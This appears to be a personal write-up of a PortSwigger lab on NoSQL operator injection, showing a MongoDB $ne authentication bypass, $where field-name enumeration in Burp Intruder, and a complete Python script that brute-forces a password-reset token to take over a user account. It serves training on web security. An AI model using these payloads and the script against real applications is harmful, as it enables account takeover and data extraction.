âŗ
Ichyaboy
  • 👋Ichyaboy
  • Hackthebox Related
    • 🎰Machines
      • Linux based Machines
        • Talkative
        • Encoding
      • Windows based machines
        • Silo
    • đŸ•šī¸Challenges (coming soon)
  • Portswigger Related
    • 🔧Server-side topics
      • Business logic flaws
        • Excessive trust in client-side controls
        • 2FA Broken Logic
        • High-level logic vulnerability
        • Inconsistent handling of exceptional input
        • Inconsistent security controls
        • Weak isolation on dual-use endpoint
        • Low-level logic flaw
        • Infinite money logic flaw
      • Information Disclosure
        • Information disclosure in error messages
        • Information disclosure on debug page
        • Source code disclosure via backup files
        • Authentication bypass via information disclosure
        • Information disclosure in version control history
      • Access Control
        • Unprotected admin functionality
        • Unprotected admin functionality with unpredictable URL
        • User role controlled by request parameter
        • User role can be modified in user profile
        • User ID controlled by request parameter
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter with data leakage in redirect
        • User ID controlled by request parameter with password disclosure
        • Insecure direct object references
        • URL-based access control can be circumvented
        • Method-based access control can be circumvented
        • Multi-step process with no access control on one step
        • Referer-based access control
      • File Upload
        • Remote code execution via web shell upload
        • Web shell upload via Content-Type restriction bypass
        • Web shell upload via path traversal
        • Web shell upload via extension blacklist bypass
        • Web shell upload via obfuscated file extension
        • Remote code execution via polyglot web shell upload
        • Web shell upload via race condition
      • Race Conditions
        • Limit overrun race conditions
        • Bypassing rate limits via race conditions
        • Multi endpoint race conditions
        • Single endpoint race conditions
        • Time sensitive vulnerabilities
        • Partial construction race conditions
      • SSRF
        • Basic SSRF against the local server
        • Basic SSRF against another back end system
        • Blind SSRF with out of band detection
        • SSRF with blacklist based input filter
        • SSRF with filter bypass via open redirection vulnerability
        • Blind SSRF with Shellshock exploitation
        • SSRF with whitelist based input filter
      • XXE Injection
        • Exploiting XXE using external entities to retrieve files
        • Exploiting XXE to perform SSRF attacks
        • Blind XXE with out of band interaction
        • Blind XXE with out of band interaction via XML parameter entities
        • Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • Exploiting blind XXE to retrieve data via error messages
        • Exploiting XInclude to retrieve files
        • Exploiting XXE via image file upload
        • Exploiting XXE to retrieve data by repurposing a local DTD
      • Nosql Injection
        • Detecting NoSQL injection
        • Exploiting NoSQL operator injection to bypass authentication
        • Exploiting NoSQL injection to extract data
        • Exploiting NoSQL operator injection to extract unknown fields
      • Api Testing
        • Exploiting an API endpoint using documentation
        • Exploiting server side parameter pollution in a query string
        • Finding and exploiting an unused API endpoint
        • Exploiting a mass assignment vulnerability
        • Exploiting server side parameter pollution in a REST URL
    • đŸŽ¯Client-side topics
      • Cross-site scripting (XSS)
        • Stored XSS
          • Stored XSS into HTML context with nothing encoded
          • Stored XSS into anchor href attribute with double quotes HTML encoded
          • Stored XSS into onclick event with angle brackets and double quotes HTML encoded and single quotes and backslash escaped
        • Reflected XSS
          • Reflected XSS into HTML context with nothing encoded
          • Reflected XSS into attribute with angle brackets HTML encoded
          • Reflected XSS into a JavaScript string with angle brackets HTML encoded
          • Reflected XSS into HTML context with most tags and attributes blocked
          • Reflected XSS into HTML context with all tags blocked except custom ones
          • Reflected XSS with some SVG markup allowed
          • Reflected XSS in canonical link tag
          • Reflected XSS into a JavaScript string with single quote and backslash escaped
          • Reflected XSS into a JavaScript string with angle brackets and double quotes HTML encoded and single quotes escaped
          • Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode escaped
          • Reflected XSS with event handlers and href attributes blocked
          • Reflected XSS in a JavaScript URL with some characters blocked
        • DOM-based XSS
          • DOM XSS in document.write sink using source location.search
          • DOM XSS in innerHTML sink using source location.search
          • DOM XSS in jQuery anchor href attribute sink using location.search source
          • DOM XSS in jQuery selector sink using a hashchange event
          • DOM XSS in document.write sink using source location.search inside a select element
          • DOM XSS in AngularJS expression with angle brackets and double quotes HTML encoded
          • Reflected DOM XSS
          • Stored DOM XSS
        • CSP Bypass
          • Reflected XSS protected by CSP, with CSP bypass
          • Reflected XSS protected by very strict CSP, with dangling markup attack
        • Client-side template injection
          • Reflected XSS with AngularJS sandbox escape without strings
          • Reflected XSS with AngularJS sandbox escape and CSP
        • Common XSS Attacks
          • Exploiting cross site scripting to steal cookies
          • Exploiting cross site scripting to capture passwords
          • Exploiting XSS to perform CSRF
      • WebSockets
        • Manipulating WebSocket messages to exploit vulnerabilities
        • Cross site WebSocket hijacking
        • Manipulating the WebSocket handshake to exploit vulnerabilities
      • Cross-site Request forgery (CSRF)
        • CSRF vulnerability with no defenses
        • CSRF where token validation depends on request method
        • CSRF where token validation depends on token being present
        • CSRF where token is not tied to user session
        • CSRF where token is tied to non session cookie
        • CSRF where token is duplicated in cookie
        • SameSite Lax bypass via method override
        • SameSite Strict bypass via client side redirect
        • SameSite Strict bypass via sibling domain
        • SameSite Lax bypass via cookie refresh
        • CSRF where Referer validation depends on header being present
        • CSRF with broken Referer validation
      • Cross-origin resource sharing
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
        • CORS vulnerability with trusted insecure protocols
      • Clickjacking
        • Basic clickjacking with CSRF token protection
        • Clickjacking with form input data prefilled from a URL parameter
        • Clickjacking with a frame buster script
        • Exploiting clickjacking vulnerability to trigger DOM based XSS
        • Multistep clickjacking
      • DOM-based vulnerabilities
        • DOM XSS using web messages
        • DOM XSS using web messages and a JavaScript URL
        • DOM XSS using web messages and JSON.parse
        • DOM based open redirection
        • DOM based cookie manipulation
        • Exploiting DOM clobbering to enable XSS
        • Clobbering DOM attributes to bypass HTML filters
  • Resources
    • đŸŗī¸Cheatsheets
      • Basic Tools
      • Footprinting
      • Web Inofrmation Gathering
      • Nmap
      • File Transfer
      • Passwords Attacks
      • USING THE METASPLOIT FRAMEWORK
      • Shells & Payloads
      • Attacking Common Services
      • Pivoting, Tunneling, and Port Forwarding
    • 🏴Useful Scripts
      • NoSQL REGEX Password Length
      • NoSQL REGEX Password
      • Creds BruteForce CSRF Handling
Powered by GitBook
On this page
  • Description
  • Approach
  1. Portswigger Related
  2. Server-side topics
  3. Nosql Injection

Exploiting NoSQL operator injection to extract unknown fields

PreviousExploiting NoSQL injection to extract dataNextApi Testing

Description

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to .

To solve the lab, log in as carlos.

Approach

Upon accessing the lab, I enabled the FoxyProxy extension to proxy all the requests through my Burp Suite and then started navigating the webpage. Unlike other labs, there weren't many functionalities available, but two requests seemed promising: one for login and the other for password reset.

The login request looked like this:

POST /login HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

{"username":"wiener","password":"peter"}

And the password reset request:

GET /forgot-password HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

Since the POST /login request is the one handling authentication, I decided to try some NoSQL injection payloads to bypass authentication as user carlos.

I started by trying to bypass the authentication using a NoSQL injection payload:

POST /login HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
...

{
 "username":"carlos",
 "password":
	{
	"$ne":"invalid"
	}
}

This injection resulted in an error message indicating that the account is locked and requires a password reset.

Now, let's pivot to the GET /forgot-password request, which presents an opportunity to reset Carlos's password. However, before proceeding, I needed to obtain the reset token. The challenge was twofold: I didn't know the reset token's name or its value for Carlos. To overcome this hurdle, I revisited the POST request where I had succeeded with the NoSQL injection and crafted a payload to retrieve some data.

Here's the payload I constructed:

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

This payload allowed me to iteratively retrieve the names of the fields character by character. To obtain the complete field name, I would need to brute force it. I utilized Burp Intruder, setting up two payload markers: one for the character index and the other for the wordlist.

Here's how I modified the request:

POST /login HTTP/2
Host: 0a4a00fd03e04aa380d621c30067005c.web-security-academy.net
Cookie: session=u9ERX3ZgvF7upxptEGhx9cedHnijM74L
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
{
 "username":"carlos",
 "password":
	{
	"$ne":"invalid"
	},
	"$where":"Object.keys(this)[0].match('^.{§§}§§.*')"
}

Using a cluster bomb attack type, I tested every combination possible. Upon sending the payload, I observed requests with differing lengths (which have the right character). I iteratively adjusted the field number, [0], until I identified an intriguing field named pwResetTkn at index [3].

Now, armed with the knowledge of the token name, I proceeded to extract its value. Employing the following payload:

this.pwResetTkn.match('^.{index}char.*')

I opted for a Python script to automate this process instead of relying on Burp Intruder.

import requests

url = "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net:443/login"
cookies = {"session": "wcvmtXtR4MioSXqvCDt8XxDaKxa0zPls"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Referer": "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net/login", "Content-Type": "application/json", "Origin": "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers"}


token=''
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(20):
	for j in chars:
		json = {"$where": f"this.pwResetTkn.match('^.{{{i}}}{j}.*')", "password": {"$ne": "invalid"}, "username": "carlos"}
		r = requests.post(url, headers=headers, cookies=cookies, json=json)

		if "Account locked" in r.text:
			print(f"token character at index: {i} is {j}")
			token+=j


print(token)

by running the script I got the token value

PS C:\> python .\PWResetToken.py
token character at index: 0 is 0
token character at index: 1 is f
token character at index: 2 is 4
token character at index: 3 is 5
token character at index: 4 is 2
token character at index: 5 is b
token character at index: 6 is 6
token character at index: 7 is d
token character at index: 8 is 6
token character at index: 9 is 9
token character at index: 10 is d
token character at index: 11 is 7
token character at index: 12 is b
token character at index: 13 is 4
token character at index: 14 is 1
token character at index: 15 is 7
0f452b6d69d7b417

Now, armed with the reset token 0f452b6d69d7b417, I attempted to utilize it with the GET /forgot-password request to proceed with the password reset process. Initially, I tried accessing GET /forgot-password?pwResetTkn=, but encountered an "invalid token" error. Undeterred, I provided the obtained token value, 0f452b6d69d7b417, in the request: GET /forgot-password?pwResetTkn=0f452b6d69d7b417.

This time, the request yielded the page for resetting the password. I simply right-clicked on the response and selected "Show response in browser" to view it in a browser window. From there, I was able to complete the password reset for Carlos. Subsequently, I logged in as Carlos using the new password, thus successfully solving the lab.

🔧
NoSQL injection